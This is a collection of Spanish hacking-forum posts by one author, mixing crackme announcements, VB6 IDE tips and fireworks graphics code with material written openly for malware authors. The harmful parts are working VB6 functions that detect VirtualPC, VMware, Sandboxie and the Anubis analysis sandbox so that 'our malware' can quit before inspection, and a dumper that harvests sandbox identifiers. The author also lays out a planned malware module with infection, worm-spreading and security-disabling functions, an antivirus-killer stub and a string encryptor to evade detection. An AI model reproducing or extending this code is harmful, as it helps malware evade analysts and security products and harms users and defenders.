Temas

[MadCrack v2 (actualmente en desarrollo)]

MadCrack v2 (actualmente en desarrollo)

Última actualización: 04/09/08
Actualmente no se puede descargar este crackme, sed pacientes...

Bueno, aquí mi segunda versión (y posiblemente la última) de crackme's. Voy a dejar este post bloqueado y pegado, ya que diariamente iré completándolo poco a poco, subiendo más información e imágenes. Cuando lo tenga terminado lo desbloquearé y subiré el ejecutable para que os divirtáis un poco...

Información del CrackMe

En realidad no es el típico crackme al que estáis acostumbrados, este es del tipo Multi-Crackme, implementa las funciones de protección más comunes y otras funciones home-made (caseras, programadas por mí), entre las pruebas que hay que superar se encuentran las siguientes:

• Nag-Screen
• CheckBox Hive (home-made)
• Push the CrazyButton (home-made)
• Username & Password (el típico)
• KeyFile (with CRC32 validation)
• Number Hive (home-made)

¿Como está protegido?

Cada prueba puede ser superada de varias formas, algunas parcheando y otras no. Para poner las cosas más interesantes se han incluido 15 rutinas para proteger el crackme y evitar ser debuggeado, estas son:

• Using a Loader
• InstallASM_Thread()
• BinaryFile Metamorphed
• BinaryFile Packed with ¿...?
• OutputDebugStringA()
• GetTickCount
• IsDebuggerPresent
• Más protección que no puedo contar
• ¿...?

Como está programado?

Bien, como en todas mis aplicaciones, sólo programo en VB6. Pero he querido hacer algo nuevo y divertido. He programado el crackme por módulos, cada módulo está dentro de un proyecto por separado, programado como DLL ActiveX (es decir, con extensión *.dll real). Algunas funciones y protecciones son llamadas a través de estas librerías que yo mismo he programado, así parece un entorno más real y divertido ¿no?

Encontraréis algunos ejecutables compilados bajo VB6 P-Code, otros como EXE ActiveX, otros como DLL ActiveX y otros como un simple VB6 native (el típico). Para finalizar, algunos módulos crean RemoteThreads e inyectan en ellos funciones directamente en ASM, que se encargan de proteger al crackme y hacer otras comprobaciones (esto pone las cosas más difíciles al debugger)

Bueno, a medida que vaya avanzando publicaré mas cosas, de momento os dejo unos screen-shoots:

La Nag-Screen:


El CheckBox Hive (buenísimo):


El CrazyButton:


El típico User & Pass:




Bueno, lo dicho. Se aceptan sugerencias, mejoras, ideas... Me gustaría dejar un crackme bien completo para que cada uno pueda aprender a saltarse los distintos tipos de protecciones más conocidos (nag's, keyfiles, user & pass, hives array's, etc...)

Actualmente no se puede descargar este crackme, sed pacientes...

Saludos!! MadAntrax

[VB6]

Hola a todos, éste es mi primer mensaje en este foro... varios usuarios me comentaron por privado: "tú sabes programar bastante, seguro que tus crackme's son complicados..." así que con éste comentario decidí programar mi primer crackme para vosotros:



Programado en VB6
Ejecutable empacado (se escribe así, no?)
Ejecutable protegido: Tiene 2 métodos de protección anti-debug
Dificultad: fácil

------------------------------

Este crackme es del tipo: KeyFile-crackme. Necesitas crear un fichero en la misma raíz del crackme para registrarlo. Es parecido al método que Kaspersky utiliza con su keyfile, pero en éste caso el keyfile sólo tiene que estar en la misma carpeta del ejecutable.

Hay 2 formas para completar este crackme

Método 1: Parchear el ejecutable para que acepte cualquier keyfile (o sencillamente hacerlo funcionar sin keyfile)

Método 2: Encontrar el KeyFile correcto, sin parchear ni modificar el ejecutable

Evidentemente, el segundo método tiene más mérito, los usuarios que completen éste crackme pondré su nick al final y pondré si lo han resuelto por el método 1, 2 o los dos.

Usuarios que lo han resuelto:

• karmany: Método 2 -> Lo ha resuelto sin parchear el ejecutable!!

El crackme está adjunto al final de este primer mensaje, sólo visible a los usuarios registrados

[Tatatachan!!...]

Tatatachan!!... aquí vuelvo con mi tercera función para los "anti's" en VB6, en este caso me he metido con la máquina virtual de Microsoft: VirtualPC 2007 Este método me gusta bastante porque es el primero que ha sido desarrollado íntegramente por mí, y de momento no he visto nadie que detecte un VirtualPC de la misma forma, empecemos...

¿Que método utilizas para detectar VirtualPC?

Revisé los otros sources en C/C++ para ver si me inspiraba, pero utilizaban técnicas algo profesionales para el pobre compilador de VB6, seguramente hay otra manera para detectar VirtualPC con VB6 pero esta es una de las más fáciles:

Con la ayuda de los Script WMI, hacemos un volcado de información sobre cada disco duro instalado en el equipo, concretamente buscamos 3 variables: Caption, Model  y PNP DeviceID. En un equipo físico obtendremos nombres relativos al fabricante y modelo de nuestro HDD, mientras que en VirtualPC obtendremos nombres parecidos a estos:

Virtual HD, IDE\DISKVIRTUAL01_, etc...

Así que recopilamos toda la información en una sola variable y buscamos el string: "VIRTUAL" en su interior, hacemos una comparación y ya tenemos nuestro anti-VirtualPC terminado!

Ueeee, ahora... ¿me das el source?

Aquí está el modulo principal:

Código (vb) [Seleccionar] Expandir

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anti-VirtualPC 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     30/06/08
'
' Programa que detecta si nuestro malware
' se ejecuta en la máquina virtual: Virtual PC
' permitiendo finalizar el proceso de nuestro
' malware :)
'
' Usar la función IsVirtualPCPresent() As Boolean
' Detecta el nombre, modelo y driver del HD para determinar
' si nos encontramos en VirtualPC
'
' Original idea: MadAntrax
' Referencias: http://www.microsoft.com/technet/scriptcenter/scripts/storage/disks/drives/stdvvb19.mspx?mfr=true
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Function IsVirtualPCPresent() As Boolean
    Dim DetectVirtualPC As String
   
    Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set HDS = WMI.ExecQuery("Select * from Win32_DiskDrive")

    DetectVirtualPC = ""
    For Each objHDS In HDS
        DetectVirtualPC = DetectVirtualPC & objHDS.Caption & objHDS.Model & objHDS.PNPDeviceID
    Next
   
    If InStr(UCase(DetectVirtualPC), "VIRTUAL") <> 0 Then
        IsVirtualPCPresent = True
    Else
        IsVirtualPCPresent = False
    End If
End Function


y para llamarlo, podemos usar algo así:

Código (vb) [Seleccionar] Expandir

Sub Main()
    If IsVirtualPCPresent = True Then
        MsgBox "VirtualPC: Detectado"
        End
    End If
    'Your Code Here
End Sub



Saludos!!

EDITADO: Parece ser que esta misma función detecta de forma correcta VirtualPC 2007 y VMWare (los 2 software de virtualización más usados). Así que esta función sirve para los 2

[Sandbox]

Bueno, lo prometido es deuda... aquí os deja la función para detectar si nuestro malware se está ejecutando en la Sandbox de Sandboxie: IsSandboxiePresent()

¿Que es Sandboxie?

Es un software diseñado para ejecutar aplicaciones dentro de un entorno seguro (dentro de una Sandbox). Su funcionamiento consiste en aislar el ejecutable y detectar todos los cambios que realice en el sistema, permitiendo borrarlos con un solo click. Se parece a una máquina virtual, pero más sencillo de usar y configurar, para más info:

:http://www.sandboxie.com/

¿Que método utiliza para detectar Sandboxie?

He incluido 2 métodos, uno de ellos programado por steve10120 de hackhound y el otro método (menos efectivo pero mucho más simple) programado por mí. El segundo método requiere que nuestro malware tenga un Form en su interior.

El método de steve10120 detecta si se ha cargado el modulo SbieDll.dll dentro de nuestra aplicación, si se encuentra el módulo significa que nuestro malware está dentro de una Sandbox.

El otro método comprueba el caption de nuestro Formulario, si detecta la string "[ # ]" significa que nuestra aplicación se encuentra dentro de la Sandbox. Como verás el primer método es más profesional, pero más fácilmente detectable por la heurística al usar una API. El segundo método solo busca una serie de caracteres, esto puede inducir a falsos positivos pero es más sencillo de implementar.

Ok, ¿y el source?

Aquí os dejo el source completo:

Código (vb) [Seleccionar] Expandir

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anti-Sandboxie 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     28/06/08
'
' Programa que detecta si nuestro malware
' se ejecuta en la SandBox de Sandboxie, permitiendo
' finalizar el proceso y evitar que inspeccionen nuestro
' malware :)
'
' Usar la función IsSandboxiePresent(byval OptionToCheck As Integer) As Boolean
' Se han añadido 2 métodos de detección para Sandboxie, el primero
' está basado en la idea original de http://hackhound.org
'
' El segundo método esta diseñado integramente por mí
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' Ejemplos para usar esta función:
'
'   Método 1:
'       If IsSandboxiePresent(1) = True Then End
'
'   Método 2:
'       If IsSandBoxiePresent(2,Form1) = True Then End
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Function IsSandBoxiePresent(ByVal OptionToCheck As Integer, Optional MainFrm As Form) As Boolean
    Select Case OptionToCheck
        Case 1  'Recomendado
            Dim hSbie As Long
           
            hSbie = GetModuleHandle("SbieDll.dll")
            If hSbie <> 0 Then
                IsSandBoxiePresent = True
            Else
                IsSandBoxiePresent = False
            End If
        Case 2  'No recomendado
            If InStr(MainFrm.Caption, "[#]") <> 0 Then
                IsSandBoxiePresent = True
            Else
                IsSandBoxiePresent = False
            End If
    End Select
End Function

Y para llamarlo hay que usar lo siguiente:

Código (vb) [Seleccionar] Expandir

Sub Main()
    If IsSandBoxiePresent(1) = True Then End
    '   Your Code Hare...
End Sub


Y si quieres usar el segundo método, de esta forma:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
    If IsSandBoxiePresent(2, Form1) = True Then End
    'Your Code Here
End Sub


Saludos!!

[IsAnubisPresent()]

Aquí vuelvo con una nueva función: IsAnubisPresent(). Dicha función permite de una forma muy rápida saber si nuestra aplicación se está ejecutando dentro de la SandBox de Anubis, permitiendo en tal caso terminar la ejecución del programa y evitar que nuestras funciones sean inspeccionadas por el usuario, pero antes...

¿Que es Anubis?

Anubis es un servicio gratuito que permite a un usuario enviar un fichero ejecutable para ser examinado de forma exhaustiva. Anubis es una aplicación con un front-end basado en Web, pero el back-end sigue tratándose de un simple PC con Windows instalado y una SandBox que recopila información de los ficheros enviados.

Anubis Web :http://anubis.iseclab.org/

¿Como funciona IsAnubisPresent()?

Bien, como ya se ha explicado, el back-end de este servicio es un Windows completo: con su registro, sus ficheros, sus variables de sistema, etc... mucha de esta información es única (por ejemplo el número de serie del HDD, el número de serie del ID de Windows, etc...) y con una simple comparación podemos saber si nuestro ejecutable esta siendo analizado desde ese Sistema Operativo en concreto

Vale, lo entiendo... pero ¿como has adivinado los números de serie del Windows de Anubis?

Bueno, la idea no es 100% mía. En internet circula un Source algo extenso y desordenado que recoge la información de una variable del registro para comparar el ProductId, viendo ese source se me ocurrió la idea de programar mi propio: Anubis-Dumper. Este programa recopila dicha información única del Sistema Operativo Windows de Anubis y genera carpetas en la raiz con los valores recopilados, con el único fin de mostrar dichos valores por el propio sistema de análisis de Anubis.

Aquí una captura del Anubis-Dumper que me permitió recopilar los datos



Una vez que tenemos los valores, solo he tenido que generar una sencilla función que haga las comprobaciones oportunas para detectar si el ejecutable se haya bajo el análisis de Anubis

Ole!, dejemonos de royos, donde está el source?

Aquí te dejo el source principal: Anti-Anubis

Código (vb) [Seleccionar] Expandir

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anti-Anubis 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     27/06/08
'
' Programa que detecta si nuestro malware
' se ejecuta en la SandBox de Anubis, permitiendo
' finalizar el proceso y evitar que inspeccionen nuestro
' malware :)
'
' Original idea: http://hackhound.org
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
   
    Select Case OptionToCheck
        Case 1  'Recomendado
            If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 2  'Recomendado
            If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 3  'No recomendado
            If UCase(App.EXEName) = "SAMPLE" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 4  'No recomendado
            If UCase(Environ("USERNAME")) = "USER" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
    End Select
End Function

Public Function GetSerialNumber(DriveLetter As String) As Long
    Buffer1 = String$(255, Chr$(0))
    Buffer2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2))
    GetSerialNumber = SerialNum
End Function

Para ejecutar el programa se recomienda lo siguiente:

Código (vb) [Seleccionar] Expandir

Sub Main()
If Is AnubisPresent(1) = True Then End
'Your Code Here...
End Sub

Y por si alguien le interesa, os dejo el Source del Anubis-Dumper, solo hay que compilar el dumper y enviarlo para analizar al propio Anubis, en cuestión de minutos obtendremos las variables preparadas para programar las condiciones para el Anti-Anubis.

Código (vb) [Seleccionar] Expandir

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anubis-Dumper 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     27/06/08
'
' Programa que recopila cierta información del sistema
' y genera carpetas en la raíz con el único fin
' de mostrar dicho contenido en la web de Anubis
'
' Original idea: http://hackhound.org
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Public Function GetSerialNumber(strDrive As String) As Long
    Temp1 = String$(255, Chr$(0))
    Temp2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(strDrive, Temp1, Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2))
    GetSerialNumber = SerialNum
End Function

Sub Main()
    On Error Resume Next
   
    Set WShell = CreateObject("WScript.Shell")
    MkDir GetSerialNumber(Environ("SystemDrive") & "\")
    MkDir Environ("USERNAME")
    MkDir App.EXEName

    AA = WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId")
    MkDir AA
    DoEvents
    End
End Sub

Dejo adjunto un fichero con los 2 sources preparados. Saludos!!

[Windows Vista Ultimate]

Pues eso, recién me instalé Windows Vista Ultimate en mi equipo, y me instale el Visual Studio 6.0

Para mi sorpresa, en el momento que estoy diseñando cualquier formulario (mover controles, redimensionar controles de cualquier tipo, etc...) se produce una lentitud brutal! Haciendo que el diseño de los formularios resulte irritante.

Alguien con Windows Vista tiene los mismos síntomas?
Si alguien usa Windows Vista + Visual Studio 6.0 y no le ocurre, que me diga que service Pack tiene y su configuración.

Saludos y gracias!!

[MadFunctions.bas]

MadFunctions.bas

Que es esto?
La idea es programar un módulo para VB6 (*.bas) que pueda ser agregado a cualquier proyecto, este módulo irá orientado a la programación de 'malware' en general y facilitará muchísimo la tarea del programador a la hora de implementar las típicas funciones que todo 'malware' devería tener.

Que funciones se integrarán en MadFunctions.bas?
Pues os dejo un listado de las funciones que a día de hoy 22/01/08 voy a implementar, algunas de ellas ya estás hechas (y publicadas en este foro) y otras me falta terminarlas, aquí el listado, el nombre de las funciones (así como sus argumentos) lo describen todo xD

Código (vb) [Seleccionar] Expandir

'1) Infection Functions

Private Sub infect_HardDrive(ByVal DriveLetter As String) As Integer
Private Sub infect_USBDrive() As Integer
Private Sub infect_NetBiosLan(ByVal SubNet As String) As String
Private Sub infect_File(ByVal FilePath As String) As Boolean
Private Sub infect_ZipFile(ByVal ZipPath As String) As Boolean
Private Sub infect_RarFile(ByVal RarPath As String) As Boolean

'2) Spreading Worms Functions

Private Sub spread_MSN() As Boolean
Private Sub spread_Yahoo() As Boolean
Private Sub spread_GTalk() As Boolean
Private Sub spread_Skype() As Boolean
Private Sub spread_P2P() As Boolean

'3) Locking Functions

Private Sub lock_Regedit() As Boolean
Private Sub lock_SysRestore() As Boolean
Private Sub lock_SecurityCenter() As Boolean
Private Sub lock_Firewall() As Boolean
Private Sub lock_SysUpdates() As Boolean
Private Sub lock_IEOptions() As Boolean
Private Sub lock_TaskMgr() As Boolean

'4) Deleting Functions

Private Sub delete_File(ByVal FilePath As String) As Boolean
Private Sub delete_FileSecure(ByVal FilePath As String) As Boolean
Private Sub delete_AllFolders(ByVal FolderPath As String) As Boolean

'5) Managing Process/Services

Private Sub kill_Process(ByVal ProcessName As String) As Integer
Private Sub kill_Service(ByVal ServiceName As String) As Integer

'6) Internet Functions

Private Sub get_PublicIP() As String
Private Sub get_PrivateIP() As String
Private Sub download_File(ByVal ULR As String) As Boolean
Private Sub kill_Google() As Boolean

'7) FTP Functions

Private Sub ftp_Upload(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileUploadPath As String) As Boolean
Private Sub ftp_Download(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileDoenloadPath As String) As Boolean

'8) Self Funtions

Private Sub MeltFile()
Private Sub isMutexRunning() As Boolean

'9) Net/Lan Functions

Private Sub net_ShareFolder(ByVal FolderPath As String, ByVal SharedName As String) As Boolean
Private Sub net_Folder2Drive(ByVal FolderPath As String, ByVal DriveLetter As String) As Boolean

'10) Attributes knoking Functions

Private Sub change_IncreaseBytes(ByVal FilePath As String, ByVal HowManyBytes As String) As Boolean
Private Sub change_VanishFile(ByVal FilePath As String) As Boolean
Private Sub change_DateMod(ByVal FilePath As String) As Boolean

'11) System Functions

Private Sub system_Shutdown()
Private Sub system_Logoff()


Ojo, faltan las funciones de FileCopy (para copiar ficheros o nuestro ejecutable) y las de Autorun (aquí hay mucho que exprimir), se está barajando la opción de añadir funciones de ADS (Alternate Data Streams), pero no sé aun...

Éste va a ser el listado definitivo de las funciones?
No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético (por ejemplo las funciones de Spreading Worms o las de Infección de Ficheros, Discos USB, Redes Completas, etc...). La encuesta será lanzada en pocos días.

Puedo contribuir, aportando ideas, aportando funciones, etc?
Sí, aunque me guste programar este tipo de cosas, una ayuda nunca viene mal, si tienes cualquier idea, sugerencia, rectificación, mejora, ... o si tienes alguna función creada por ti mismo que desearías incluir aquí: por favor exprésalo en este post para que todos decidamos si incluirlo o no.



Por el momento os pido que miréis el listado actual y opinéis, si debemos quitar/añadir algo, ideas, mejoras, etc... Se buscan Beta-Testers para probar alguna de las funciones bajo circunstancias poco comunes (En Windows 2000, sin privilegios de Administrador, bajo ciertos AntiVirus, etc...)

Saludos, vuestro amigo cojonudo: ||MadAntrax||

[IDE]

Si alguien más se ha dado cuenta, sabrá que en el IDE de VB6 no se puede utilizar el MouseWheel.



IDE: Entorno de Desarrollo, el editor de Visual Studio 6.0

Resulta muy incomodo estar trabajando en un proyecto en el que tengas mucho código escrito y tengas que desplazarte por él usando la barra lateral, ahora con este sencillo plug-in podrás usar tu MouseWheel. El creador del Plug-in se llama Joe Bott y en su web podrás descargarte esta aplicación (y algunas utilidades más), junto con el Source Code completo escrito en C++ (curioso que un programador de C++ haga esto para el IDE de VB6, ¿no? xD)

http://www.joebott.com/vb6scrollwheel.htm

Funcionamiento: Descomprimir el fichero (tiene una DLL y un EXE), poner los 2 ficheros en una misma carpeta y ejecutar el EXE (se quedará el icono de un ratón rojo en el área de notificación). Abrir el IDE de VB6 y... ¡a programar!

Yo tengo la DLL y el EXE copiados en C:\Windows\System32 y he añadido el acceso directo del programa a la carpeta Inicio de Windows para que se ejecuta sólo (recomendado).



Sé que hay otras mejoras para habilitar el MouseWheel, incluso Microsoft ha publicado un boletín sobre como solucionar este "fallo", pero yo personalmente prefiero usar el método del amigo Joe Bott, que se ha molestado en programarlo y compartirlo con todos nosotros.

Saludos!!

[Kaspersky 7.0]

Hola gente, cuanto tiempo!!

Bueno, he estado liado con algunos temas personales pero ya vuelvo ha estar por aquí. He retomado el proyecto del Cactus Joiner y actualmente me estoy centrando en los módulos de AV-Killer para integrarlo todo en el Stub. Os dejo una Screen de lo que llevo hecho:



Ese es el listado que he pensado incluir en esta versión del Cactus, de momento he podido desactivar por código, todos los AV's que aparecen en la imagen excepto:

• Kaspersky 7.0: No encuentro la forma de detenerlo
• Norton 2007: No encuentro la forma de detenerlo
• Panda Internet Security: No lo tengo instalado, no podido probar de deshabilitarlo
• BitDefender v10: No lo tengo instalado, no podido probar de deshabilitarlo
• AVG Free 7.5: Lo consigo deshabilitar pero requiere un reinicio del sistema.
• Trend Micro PC-Cillin 2007: Lo tengo instalado y estoy trabajando actualmente con él.

Todos los demás (Nod32, McAffe, Avira, avast!, OnCare, etc...) los he conseguido deshabilitar a través de código VB6 y en menos de 5 segundos.

Alguien se anima y me ayuda a encontrar el método para los demás AntiVirus? Muchisimas gracias!!

Saludos!!

Hola a todos!!

Bueno, he vuelto de mis mini-vacaciones y ando un poco oxidado ya xD

Estuve pensando en algún nuevo proyecto y se me ha ocurrido crear un Auto-Encriptador de Strings para proyectos creados con VB6. Algunos pensareis: ¿que demonios es eso? o ¿para que demonios quiero yo eso? xD

Bueno, tiene una fácil respuesta, como programador de malware (en general) que soy, lo que más me molesta es ver como mis nuevas creaciones se vuelven fácilmente detectables por los AV's por culpa de las String's estáticas que hay en los proyectos, ejemplo:

CreateRegKey("HKLM\Software\Microsoft\Windows\Current Version\Run", "update")

Esa String es muy típica encontrarla en cualquier malware y los AV's lo detectan de forma inmediata con solo leer el código en hexadecimal de nuestro ejecutable. Para evitar esta heurística tenemos que cifrar cada String con una función (XOR es la más común) y esta tarea (al menos para mí) resulta muy molesta (sobre todo cuando tienes 200 String's para cifrar.

Otros ejemplos válidos serían:

"virus", "botnet", "hack", "trojan" etc...

Algunos Antivirus detectan y catalogan como virus a cualquier fichero que en su interior se encuentre escritas alguna de esas frases.



Bien, pues mi proyecto lo que hace es bien sencillo, le pasamos la ruta donde está nuestro código fuente original y éste lo modifica y cifra TODAS las Strings que queramos de forma automática, rápida y efectiva, con 1 solo golpe de ratón. ¿Os gusta la idea? a mí al menos si xD

Bien, pues ya tengo la GUI terminada y necesito saber si es muy fea, muy wapa, poco apropiada, muy cargada, etc... Me he inspirado en un proyecto que ví en pscode.com hace muchísimo tiempo y los colores los he sacado de la GUI del troyano Sub7 Gold.


He hecho la foto sobre un fondo negro para que se aprecie el color del borde.

Pues eso, solo necesito saber si continuo adelante con esta GUI o queréis que la cambie un poco (otros colores, en 3D en ves de Flat, etc...). Aprovecho para pedir sugerencias o mejoras para añadir al proyecto.

Saludos y grácias!!

[source]

Bueno, aquí el remate final. El Source no es mío, la librería usada para el efecto de "niebla" es sencillamente BRUTAL!

1) Mejorado los efectos de niebla
2) Se han añadido nuevas fórmulas matemáticas para simular petardos
3) Funciona con MouseClick o Random
4) Es wapisimo!! xD





Adjunto source y versón compilada.

NO EJECUTAR ESTE SOURCE DIRECTAMENTE DESDE EL VB6, TENÉIS QUE COMPILARLOS (CREAR EL EXE) Y EJECUTARLO DESDE AHÍ. SI LO EJECUTAS DESDE EL VB6 NO FUNCIONA BIEN!



Recomiendo, cuando lo ejecutéis, que pulséis sobre la opción NO y luego hagáis click con el raton encima del cuadro. Saludos!!

[Download only for registered users!]

Precioso efecto para añadir en nuestro "About Dialog Box" de cualquier aplicación. Lanza petardos y cohetes de forma aleatória y con colores. Utiliza AlphaBending para simular efecto de "petardo"



Ojo, el source no es mio, lo encontré en www.pscode.com como un screensaver, he tenido que modificar bastante el código para dejarlo limpio y listo para usarlo. Sencillamente precioso, no utiliza librerías de DX7 ni DLL''s ni OCX''s

Código (vb) [Seleccionar] Expandir

Private Type Particle
    X As Single
    Y As Single
    Xv As Single
    Yv As Single
    Life As Integer
    Dead As Boolean
    Color As Long
End Type

Private Type FireWork
    X As Single
    Y As Single
    Height As Integer
    Color As Long
    Exploded As Boolean
    P() As Particle
End Type

Private Type BLENDFUNCTION
  BlendOp As Byte
  BlendFlags As Byte
  SourceConstantAlpha As Byte
  AlphaFormat As Byte
End Type

Private Declare Function AlphaBlend Lib "msimg32.dll" (ByVal hDC As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal hDC As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal BLENDFUNCT As Long) As Long
Private Declare Sub RtlMoveMemory Lib "kernel32.dll" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function SetPixelV Lib "gdi32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long

Dim BF As BLENDFUNCTION
Dim lBF As Long

Dim FW() As FireWork
Dim FWCount As Integer
Dim RocketSpeed As Integer

Private Sub StartFireWork()
    For i = 0 To FWCount
        If FW(i).Y = -1 Then
            GoTo MAKEFIREWORK
        End If
    Next i
   
    FWCount = FWCount + 1
   
    ReDim Preserve FW(FWCount)
    i = FWCount
   
MAKEFIREWORK:

    FW(i).X = Int(Rnd * Me.ScaleWidth)
    FW(i).Y = Me.ScaleHeight
    FW(i).Height = Rnd * Me.ScaleHeight
    FW(i).Color = Int(Rnd * vbWhite)
    FW(i).Exploded = False
    ReDim FW(i).P(10)
End Sub

Private Sub DrawFireWork(tFW As FireWork)
    Dim DeadCount As Integer
    Dim RndSpeed As Single
    Dim RndDeg As Single

    With tFW
        If .Exploded Then
            For i = 0 To UBound(.P)
                If .P(i).Life > 0 Then
                    .P(i).Life = .P(i).Life - 1
                    .P(i).X = .P(i).X + .P(i).Xv
                    .P(i).Y = .P(i).Y + .P(i).Yv
                    .P(i).Xv = .P(i).Xv / 1.05
                    .P(i).Yv = .P(i).Yv / 1.05 + 0.05
                    PSet (.P(i).X, .P(i).Y), .P(i).Color
                ElseIf .P(i).Life > -40 Then
                    .P(i).Life = .P(i).Life - 1
                    .P(i).X = .P(i).X + .P(i).Xv + (0.5 - Rnd)
                    .P(i).Y = .P(i).Y + .P(i).Yv + 0.1
                    .P(i).Xv = .P(i).Xv / 1.05
                    .P(i).Yv = .P(i).Yv
                    SetPixelV Me.hDC, .P(i).X, .P(i).Y, .P(i).Color
                Else
                    .P(i).Dead = True
                    DeadCount = DeadCount + 1
                End If
            Next i
           
            If DeadCount >= UBound(.P) Then
                .Y = -1
            End If
        Else
            .Y = .Y - RocketSpeed
            If .Y < .Height Then
                Dim ExplosionShape As Integer
               
                ExplosionShape = Int(Rnd * 6)
               
                Select Case ExplosionShape
                    Case 0 ''Regular
                        ReDim .P(Int(Rnd * 100) + 100)
                       
                        For i = 0 To UBound(.P)
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = Int(Rnd * 20) + 20
                           
                            RndSpeed = (Rnd * 5)
                            RndDeg = (Rnd * 360) / 57.3
                           
                            .P(i).Xv = RndSpeed * Cos(RndDeg)
                            .P(i).Yv = RndSpeed * Sin(RndDeg)
                            .P(i).Color = .Color
                        Next i
                       
                        .Exploded = True
                    Case 1 ''Smilely
                        ReDim .P(35)
                        ReDim .P(50)
                        ReDim .P(52)
                       
                        For i = 0 To 35
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = 50
                           
                            .P(i).Xv = 3 * Cos(((360 / 35) * (i + 1)) / 57.3)
                            .P(i).Yv = 3 * Sin(((360 / 35) * (i + 1)) / 57.3)
                            .P(i).Color = .Color
                        Next i
                       
                        For i = 36 To 50
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = 50
                           
                            .P(i).Xv = 2 * Cos(((360 / 35) * i + 15) / 57.3)
                            .P(i).Yv = 2 * Sin(((360 / 35) * i + 15) / 57.3)
                            .P(i).Color = .Color
                        Next i
                       
                        With .P(51)
                            .X = tFW.X
                            .Y = tFW.Y
                            .Life = 50
                            .Xv = 2 * Cos(-55 / 57.3)
                            .Yv = 2 * Sin(-55 / 57.3)
                            .Color = tFW.Color
                        End With
                       
                        With .P(52)
                            .X = tFW.X
                            .Y = tFW.Y
                            .Life = 50
                            .Xv = 2 * Cos(-125 / 57.3)
                            .Yv = 2 * Sin(-125 / 57.3)
                            .Color = tFW.Color
                        End With
                       
                        .Exploded = True
                    Case 2 ''Star
                        ReDim .P(50)
                       
                        RndDeg = Int(360 * Rnd)
                       
                        For i = 0 To UBound(.P)
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = 50
                           
                            .P(i).Xv = (i * 0.1) * Cos(((360 / 5) * (i + 1) + RndDeg) / 57.3)
                            .P(i).Yv = (i * 0.1) * Sin(((360 / 5) * (i + 1) + RndDeg) / 57.3)
                            .P(i).Color = .Color
                        Next i
                       
                        .Exploded = True
                    Case 3 ''Spiral
                        ReDim .P(50)
                       
                        RndDeg = (360 * Rnd)
                       
                        For i = 0 To UBound(.P)
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = 50
                           
                            .P(i).Xv = (i * 0.1) * Cos(((360 / 25) * (i + 1) + RndDeg) / 57.3)
                            .P(i).Yv = (i * 0.1) * Sin(((360 / 25) * (i + 1) + RndDeg) / 57.3)
                            .P(i).Color = .Color
                        Next i
                       
                        .Exploded = True
                    Case 4 ''Regular Random
                       
                        ReDim .P(Int(Rnd * 100) + 100)
                       
                        For i = 0 To UBound(.P)
                            .P(i).X = .X
                            .P(i).Y = .Y
                            .P(i).Life = Int(Rnd * 20) + 20
                           
                            RndSpeed = (Rnd * 5)
                            RndDeg = (Rnd * 360) / 57.3
                           
